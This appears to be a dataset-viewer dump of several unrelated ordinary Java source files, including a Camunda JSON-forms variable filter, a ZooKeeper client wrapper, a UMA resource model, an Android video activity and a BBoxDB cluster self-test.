import org.camunda.bpm.engine.variable.VariableMap;
import org.json.JSONObject;
import org.json.JSONTokener;
/**
* JsonFormFormService restricts the access to process variables based on the
* attached json forms schema.
*/
public class JsonFormsFormService extends org.camunda.bpm.engine.impl.FormServiceImpl {
// TODO: other variable methods
/*
* @Override
* public VariableResource getLocalVariables() {
* return super.getLocalVariables();
* }
*
* @Override
* public VariableResource getVariables() {
* return super.getVariables();
* }
*
*/
@Override
public VariableMap getTaskFormVariables(String taskId, Collection<String> formVariables,
boolean deserializeObjectValues) {
return commandExecutor
.execute(new JsonFormsGetTaskFormVariablesCmd(taskId, formVariables, deserializeObjectValues));
}
private class JsonFormsGetTaskFormVariablesCmd extends GetTaskFormVariablesCmd {
public JsonFormsGetTaskFormVariablesCmd(String taskId, Collection<String> variableNames,
boolean deserializeObjectValues) {
super(taskId, variableNames, deserializeObjectValues);
}
@Override
public VariableMap execute(CommandContext commandContext) {
VariableMap result = super.execute(commandContext);
final TaskManager taskManager = commandContext.getTaskManager();
// check if this is going to be retrieved from the cache or will invoke select
// from the db
TaskEntity task = taskManager.findTaskById(resourceId);
task.initializeFormKey();
if (task.getFormKey() != null
&& task.getFormKey().startsWith(Utils.CAMUNDA_JSONFORMS_URL)) {
DeploymentEntity deploymentEntity = commandContext.getDeploymentManager()
.findDeploymentById(task.getProcessDefinition().getDeploymentId());
if (deploymentEntity != null) {
String formFile = Utils.getFormFile(task.getFormKey());
ResourceEntity schema = deploymentEntity.getResource(formFile + Utils.RESOURCE_SCHEMA_SUFFIX);
if (schema != null) {
JSONObject jsonSchema = new JSONObject(
new JSONTokener(new ByteArrayInputStream(schema.getBytes())));
JSONObject properties = jsonSchema.optJSONObject("properties");
if (properties != null) {
for (Iterator<Map.Entry<String, Object>> entryIterator = result.entrySet()
.iterator(); entryIterator.hasNext();) {
Map.Entry<String, Object> entry = entryIterator.next();
JSONObject property = properties.optJSONObject(entry.getKey());
if (property == null || property.optBoolean("writeOnly")) {
entryIterator.remove();
}
}
}
}
}
}
return result;
}
}
}
|
package cz.metacentrum.perun.core.impl.modules.attributes;
import cz.metacentrum.perun.core.implApi.modules.attributes.UserPersistentShadowAttributeWithConfig;
/**
* Class for checking logins uniqueness in the namespace and filling lifescienceid-persistent id.
* It is only storage! Use module login lifescienceid_persistent for access the value.
*
* @author Pavel Zlámal <zlamal@cesnet.cz>
*/
public class urn_perun_user_attribute_def_def_login_namespace_lifescienceid_persistent_shadow
extends UserPersistentShadowAttributeWithConfig {
private final static String attrNameLifeScience = "login-namespace:lifescienceid-persistent-shadow";
private final static String CONFIG_EXT_SOURCE_NAME_LIFESCIENCE = "extSourceNameLifeScience";
private final static String CONFIG_DOMAIN_NAME_LIFESCIENCE = "domainNameLifeScience";
@Override
public String getExtSourceConfigName() {
return CONFIG_EXT_SOURCE_NAME_LIFESCIENCE;
}
@Override
public String getDomainConfigName() {
return CONFIG_DOMAIN_NAME_LIFESCIENCE;
}
@Override
public String getFriendlyName() {
return attrNameLifeScience;
}
@Override
public String getDescription() {
return "Login to Lifescienceid. Do not use it directly! " +
"Use \"user:virt:login-namespace:lifescienceid-persistent\" attribute instead.";
}
@Override
public String getFriendlyNameParameter() {
return "lifescienceid-persistent-shadow";
}
@Override
public String getDisplayName() {
return "Lifescienceid login";
}
}
|
/*
* Copyright 2008-2009 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package net.hasor.dataql.runtime.inset;
import net.hasor.dataql.Udf;
import net.hasor.dataql.parser.location.RuntimeLocation;
import net.hasor.dataql.runtime.InsetProcess;
import net.hasor.dataql.runtime.InsetProcessContext;
import net.hasor.dataql.runtime.InstSequence;
import net.hasor.dataql.runtime.QueryRuntimeException;
import net.hasor.dataql.runtime.mem.*;
/**
* M_DEF // 函数定义,将栈顶元素转换为 UDF
* - 参数说明:共0参数;
* - 栈行为:消费1,产出1
* - 堆行为:无
*
* @author 赵永春 (zyc@hasor.net)
* @version : 2017-07-19
*/
class M_DEF implements InsetProcess {
@Override
public int getOpcode() {
return M_DEF;
}
@Override
public void doWork(InstSequence sequence, DataHeap dataHeap, DataStack dataStack, EnvStack envStack, InsetProcessContext context) throws QueryRuntimeException {
RuntimeLocation location = sequence.programLocation();
Object refCall = dataStack.pop();
if (refCall == null) {
throw new QueryRuntimeException(location, "target is null.");
}
if (!(refCall instanceof Udf)) {
throw new QueryRuntimeException(location, "target or Property is not UDF.");
}
boolean innerUDF = refCall instanceof RefFragmentCall || refCall instanceof RefLambdaCall;
refCall = new RefCall(location, !innerUDF, (Udf) refCall);
dataStack.push(refCall);
}
}
|
package com.haiegoo.framework.zkclient;
import org.I0Itec.zkclient.exception.ZkException;
import org.I0Itec.zkclient.exception.ZkInterruptedException;
import org.I0Itec.zkclient.exception.ZkNoNodeException;
import org.I0Itec.zkclient.exception.ZkNodeExistsException;
import org.I0Itec.zkclient.serialize.ZkSerializer;
import org.apache.zookeeper.CreateMode;
public class ZkClient extends org.I0Itec.zkclient.ZkClient {
public ZkClient(String serverstring) {
super(serverstring);
}
public ZkClient(String zkServers, int connectionTimeout) {
super(zkServers, connectionTimeout);
}
public ZkClient(String zkServers, int sessionTimeout, int connectionTimeout) {
super(zkServers, sessionTimeout, connectionTimeout);
}
public ZkClient(String zkServers, int sessionTimeout, int connectionTimeout, ZkSerializer zkSerializer) {
super(zkServers, sessionTimeout, connectionTimeout, zkSerializer);
}
/**
* 创建节点
* @param path 路径
* @param mode 模式
* @param createParents 是否递归创建父节点
*/
public void create(final String path, final CreateMode mode, final boolean createParents) throws ZkInterruptedException, IllegalArgumentException, ZkException, RuntimeException {
try {
super.create(path, null, mode);
} catch (ZkNodeExistsException e) {
if (!createParents) {
throw e;
}
} catch (ZkNoNodeException e) {
if (!createParents) {
throw e;
}
String parentDir = path.substring(0, path.lastIndexOf('/'));
this.create(parentDir, mode, createParents);
this.create(path, mode, createParents);
}
}
/**
* 当znode不存在时返回空
*/
public <T extends Object> T readData(String path, T defaultValue) {
if(this.exists(path)){
return super.readData(path);
}else{
return defaultValue;
}
}
/**
* 向节点中写数据,当znode不存在时创建,如果存在则等同于{@link ZkClient#writeData(String, Object)}
*/
public void writeData(final String path, Object data, final CreateMode mode) {
try{
super.writeData(path, data);
} catch (ZkNoNodeException e) {
this.create(path, mode, true);
super.writeData(path, data);
}
}
}
|
package io.jans.ca.server.configuration.model;
import com.google.common.collect.Lists;
import java.io.Serializable;
import java.util.List;
/**
* @author Yuriy Zabrovarnyy
* @version 0.9, 06/06/2016
*/
public class UmaResource implements Serializable {
private String id;
private String path;
private List<String> httpMethods = Lists.newArrayList();
private List<String> scopes = Lists.newArrayList();
private List<String> scopeExpressions = Lists.newArrayList();
private List<String> ticketScopes = Lists.newArrayList();
private Integer iat = null;
private Integer exp = null;
public List<String> getScopeExpressions() {
if (scopeExpressions == null) {
scopeExpressions = Lists.newArrayList();
}
return scopeExpressions;
}
public void setScopeExpressions(List<String> scopeExpressions) {
this.scopeExpressions = scopeExpressions;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getPath() {
return path;
}
public void setPath(String path) {
this.path = path;
}
public List<String> getHttpMethods() {
if (httpMethods == null) {
httpMethods = Lists.newArrayList();
}
return httpMethods;
}
public void setHttpMethods(List<String> httpMethods) {
this.httpMethods = httpMethods;
}
public List<String> getScopes() {
if (scopes == null) {
scopes = Lists.newArrayList();
}
return scopes;
}
public void setScopes(List<String> scopes) {
this.scopes = scopes;
}
public List<String> getTicketScopes() {
if (ticketScopes == null) {
ticketScopes = Lists.newArrayList();
}
return ticketScopes;
}
public void setTicketScopes(List<String> ticketScopes) {
this.ticketScopes = ticketScopes;
}
public Integer getIat() {
return iat;
}
public void setIat(Integer iat) {
this.iat = iat;
}
public Integer getExp() {
return exp;
}
public void setExp(Integer exp) {
this.exp = exp;
}
@Override
public String toString() {
final StringBuilder sb = new StringBuilder();
sb.append("UmaResource");
sb.append("{id='").append(id).append('\'');
sb.append(", path='").append(path).append('\'');
sb.append(", httpMethods=").append(httpMethods);
sb.append(", scopes=").append(scopes);
sb.append(", scopeExpressions=").append(scopeExpressions);
sb.append(", ticketScopes=").append(ticketScopes);
sb.append(", iat=").append(iat);
sb.append(", exp=").append(exp);
sb.append('}');
return sb.toString();
}
}
|
package com.ulfy.master.ui.activity;
import android.os.Bundle;
import android.view.View;
import com.ulfy.android.system.ActivityUtils;
import com.ulfy.android.task.LoadListPageUiTask;
import com.ulfy.android.task.TaskUtils;
import com.ulfy.android.task_transponder.ContentDataLoader;
import com.ulfy.android.task_transponder.OnReloadListener;
import com.ulfy.master.BuildConfig;
import com.ulfy.master.application.cm.LittleVideoCM;
import com.ulfy.master.application.vm.DouyinVM;
import com.ulfy.master.ui.base.ContentActivity;
import com.ulfy.master.ui.custom_dkplayer.VideoViewRepository;
import com.ulfy.master.ui.custom_dkplayer.cache.PreloadManager;
import com.ulfy.master.ui.view.DouyinView;
import java.util.List;
public class DouyinActivity extends ContentActivity {
private static List<LittleVideoCM> videoCMList;
private static LoadListPageUiTask.LoadListPageUiTaskInfo taskInfo;
private static int enterPosition;
private DouyinVM vm;
private DouyinView view;
/**
* 启动Activity
*/
public static void startActivity(List<LittleVideoCM> videoCMList, LoadListPageUiTask.LoadListPageUiTaskInfo taskInfo, int enterPosition) {
DouyinActivity.videoCMList = videoCMList;
DouyinActivity.taskInfo = taskInfo;
DouyinActivity.enterPosition = enterPosition;
ActivityUtils.startActivity(DouyinActivity.class);
}
/**
* 初始化方法
*/
@Override protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
initModel(savedInstanceState);
initContent(savedInstanceState);
initActivity(savedInstanceState);
}
/**
* 初始化模型和界面
*/
private void initModel(Bundle savedInstanceState) {
vm = new DouyinVM();
vm.init(videoCMList, taskInfo, enterPosition);
DouyinActivity.videoCMList = null;
DouyinActivity.taskInfo = null;
DouyinActivity.enterPosition = 0;
}
/**
* 初始化界面的数据
*/
private void initContent(final Bundle savedInstanceState) {
TaskUtils.loadData(getContext(), vm.loadDataOnExe(), new ContentDataLoader(contentFL, vm, true) {
@Override protected void onCreatView(ContentDataLoader loader, View createdView) {
view = (DouyinView) createdView;
}
}.setOnReloadListener(new OnReloadListener() {
@Override public void onReload() {
initContent(savedInstanceState);
}
})
);
}
/**
* 初始化Activity的数据
*/
private void initActivity(Bundle savedInstanceState) {
}
@Override protected void onPause() {
super.onPause();
VideoViewRepository.getInstance().pause(this);
}
@Override protected void onResume() {
super.onResume();
VideoViewRepository.getInstance().resume(this);
}
@Override protected void onDestroy() {
super.onDestroy();
VideoViewRepository.getInstance().releaseVideoView(this, true);
if (BuildConfig.VIDEO_PRE_LOAD) {
PreloadManager.getInstance(getContext()).removeAllPreloadTask();
}
}
@Override public void onBackPressed() {
if (!VideoViewRepository.getInstance().onBackPressed(this)) {
super.onBackPressed();
}
}
}
|
/*******************************************************************************
*
* Copyright (C) 2015-2021 the BBoxDB project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*******************************************************************************/
package org.bboxdb.tools;
import java.util.ArrayList;
import java.util.Collection;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ThreadLocalRandom;
import org.bboxdb.commons.math.Hyperrectangle;
import org.bboxdb.misc.BBoxDBException;
import org.bboxdb.network.client.BBoxDBCluster;
import org.bboxdb.network.client.future.client.EmptyResultFuture;
import org.bboxdb.network.client.future.client.TupleListFuture;
import org.bboxdb.storage.entity.DistributionGroupConfiguration;
import org.bboxdb.storage.entity.DistributionGroupConfigurationBuilder;
import org.bboxdb.storage.entity.Tuple;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.google.common.collect.Iterators;
public class DistributedSelftest {
/**
* The name of the distribution group
*/
private static final String DISTRIBUTION_GROUP = "testgroup";
/**
* The table to query
*/
private static final String TABLE = DISTRIBUTION_GROUP + "_mytable";
/**
* The amount of operations
*/
private static final int NUMBER_OF_OPERATIONS = 10000;
/**
* The Logger
*/
private final static Logger logger = LoggerFactory.getLogger(DistributedSelftest.class);
public static void main(final String[] args) throws InterruptedException, ExecutionException, BBoxDBException {
if(args.length < 2) {
logger.error("Usage: DistributedSelftest <Cluster-Name> <Cluster-Endpoint1> <Cluster-EndpointN>");
System.exit(-1);
}
logger.info("Running selftest......");
final String clustername = args[0];
final Collection<String> endpoints = new ArrayList<String>();
for(int i = 1; i < args.length; i++) {
endpoints.add(args[i]);
}
final BBoxDBCluster bboxdbCluster = new BBoxDBCluster(endpoints, clustername);
bboxdbCluster.connect();
if(! bboxdbCluster.isConnected()) {
logger.error("Connection could not be established");
System.exit(-1);
}
logger.info("Connected to cluster: " + clustername);
logger.info("With endpoint(s): " + endpoints);
recreateDistributionGroup(bboxdbCluster);
executeSelftest(bboxdbCluster);
}
/**
* Recreate the distribution group
* @param bboxdbCluster
* @throws BBoxDBException
* @throws InterruptedException
* @throws ExecutionException
*/
private static void recreateDistributionGroup(final BBoxDBCluster bboxdbCluster) throws BBoxDBException, InterruptedException, ExecutionException {
logger.info("Delete old distribution group: " + DISTRIBUTION_GROUP);
final EmptyResultFuture deleteFuture = bboxdbCluster.deleteDistributionGroup(DISTRIBUTION_GROUP);
deleteFuture.waitForCompletion();
if(deleteFuture.isFailed()) {
logger.error("Unable to delete distribution group: " + DISTRIBUTION_GROUP);
logger.error(deleteFuture.getAllMessages());
System.exit(-1);
}
// Wait for distribution group to settle
Thread.sleep(5000);
logger.info("Create new distribution group: " + DISTRIBUTION_GROUP);
final DistributionGroupConfiguration configuration = DistributionGroupConfigurationBuilder.create(2)
.withReplicationFactor((short) 2)
.build();
final EmptyResultFuture createFuture = bboxdbCluster.createDistributionGroup(DISTRIBUTION_GROUP,
configuration);
createFuture.waitForCompletion();
if(createFuture.isFailed()) {
logger.error("Unable to create distribution group: " + DISTRIBUTION_GROUP);
logger.error(createFuture.getAllMessages());
System.exit(-1);
}
// Wait for distribution group to appear
Thread.sleep(5000);
}
/**
* Execute the selftest
* @param bboxdbClient
* @throws InterruptedException
* @throws ExecutionException
* @throws BBoxDBException
*/
private static void executeSelftest(final BBoxDBCluster bboxdbClient) throws InterruptedException, ExecutionException, BBoxDBException {
long iteration = 1;
while(true) {
logger.info("Starting new iteration: " + iteration);
insertNewTuples(bboxdbClient);
queryForExistingTuplesByKey(bboxdbClient);
queryForExistingTuplesByTime(bboxdbClient);
deleteTuples(bboxdbClient);
queryForNonExistingTuples(bboxdbClient);
Thread.sleep(1000);
iteration++;
}
}
/**
* Execute a time query
* @param bboxdbClient
* @throws ExecutionException
* @throws InterruptedException
* @throws BBoxDBException
*/
private static void queryForExistingTuplesByTime(final BBoxDBCluster bboxdbClient) throws InterruptedException, ExecutionException, BBoxDBException {
logger.info("Executing time query");
final TupleListFuture queryResult = bboxdbClient.queryVersionTime(TABLE, 0);
queryResult.waitForCompletion();
if(queryResult.isFailed()) {
logger.error("Time query result is failed");
logger.error(queryResult.getAllMessages());
System.exit(-1);
}
final int totalTuples = Iterators.size(queryResult.iterator());
if(totalTuples != NUMBER_OF_OPERATIONS) {
logger.error("Got {} tuples back, but expected {}", totalTuples, NUMBER_OF_OPERATIONS);
System.exit(-1);
}
}
/**
* Delete the stored tuples
* @param bboxdbClient
* @throws InterruptedException
* @throws BBoxDBException
* @throws ExecutionException
*/
private static void deleteTuples(final BBoxDBCluster bboxdbClient) throws InterruptedException, BBoxDBException, ExecutionException {
logger.info("Deleting tuples");
for(int i = 0; i < NUMBER_OF_OPERATIONS; i++) {
final String key = Integer.toString(i);
final EmptyResultFuture deletionResult = bboxdbClient.deleteTuple(TABLE, key);
deletionResult.waitForCompletion();
if(deletionResult.isFailed() ) {
logger.error("Got an error while deleting: {} ", key);
logger.error(deletionResult.getAllMessages());
System.exit(-1);
}
}
}
/**
* Query for the stored tuples
* @param bboxdbClient
* @param random
* @throws InterruptedException
* @throws ExecutionException
* @throws BBoxDBException
*/
private static void queryForExistingTuplesByKey(final BBoxDBCluster bboxdbClient) throws InterruptedException, ExecutionException, BBoxDBException {
logger.info("Query for tuples");
for(int i = 0; i < NUMBER_OF_OPERATIONS; i++) {
final int nextInt = ThreadLocalRandom.current().nextInt(NUMBER_OF_OPERATIONS);
final String key = Integer.toString(nextInt);
final TupleListFuture queryResult = bboxdbClient.queryKey(TABLE, key);
queryResult.waitForCompletion();
if(queryResult.isFailed()) {
logger.error("Query {} : Got failed future, when query for: {}", i, key);
logger.error(queryResult.getAllMessages());
System.exit(-1);
}
boolean tupleFound = false;
for(final Tuple tuple : queryResult) {
if(! tuple.getKey().equals(key)) {
logger.error("Query {}: Got tuple with wrong key.", i);
logger.error("Expected: {} but got: {}", i, tuple.getKey());
System.exit(-1);
}
tupleFound = true;
}
if(tupleFound == false) {
logger.error("Query {}: Key {} not found", i, key);
System.exit(-1);
}
}
}
/**
* Query for non existing tuples and exit, as soon as a tuple is found
* @param bboxdbClient
* @throws BBoxDBException
* @throws InterruptedException
* @throws ExecutionException
*/
private static void queryForNonExistingTuples(final BBoxDBCluster bboxdbClient) throws BBoxDBException, InterruptedException, ExecutionException {
logger.info("Query for non existing tuples");
for(int i = 0; i < NUMBER_OF_OPERATIONS; i++) {
final String key = Integer.toString(i);
final TupleListFuture queryResult = bboxdbClient.queryKey(TABLE, key);
queryResult.waitForCompletion();
if(queryResult.isFailed()) {
logger.error("Query {}: Got failed future, when query for: {}", i, key);
logger.error(queryResult.getAllMessages());
System.exit(-1);
}
for (final Tuple tuple : queryResult) {
logger.error("Found a tuple which should not exist: {} / {}", i, tuple);
System.exit(-1);
}
}
}
/**
* Insert new tuples
* @param bboxdbClient
* @throws InterruptedException
* @throws ExecutionException
* @throws BBoxDBException
*/
private static void insertNewTuples(final BBoxDBCluster bboxdbClient) throws InterruptedException, ExecutionException, BBoxDBException {
logger.info("Inserting new tuples");
for(int i = 0; i < NUMBER_OF_OPERATIONS; i++) {
final String key = Integer.toString(i);
final Tuple myTuple = new Tuple(key, new Hyperrectangle(1.0d, 2.0d, 1.0d, 2.0d), "test".getBytes());
final EmptyResultFuture insertResult = bboxdbClient.insertTuple(TABLE, myTuple);
insertResult.waitForCompletion();
if(insertResult.isFailed()) {
logger.error("Got an error during tuple insert: ", insertResult.getAllMessages());
System.exit(-1);
}
}
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.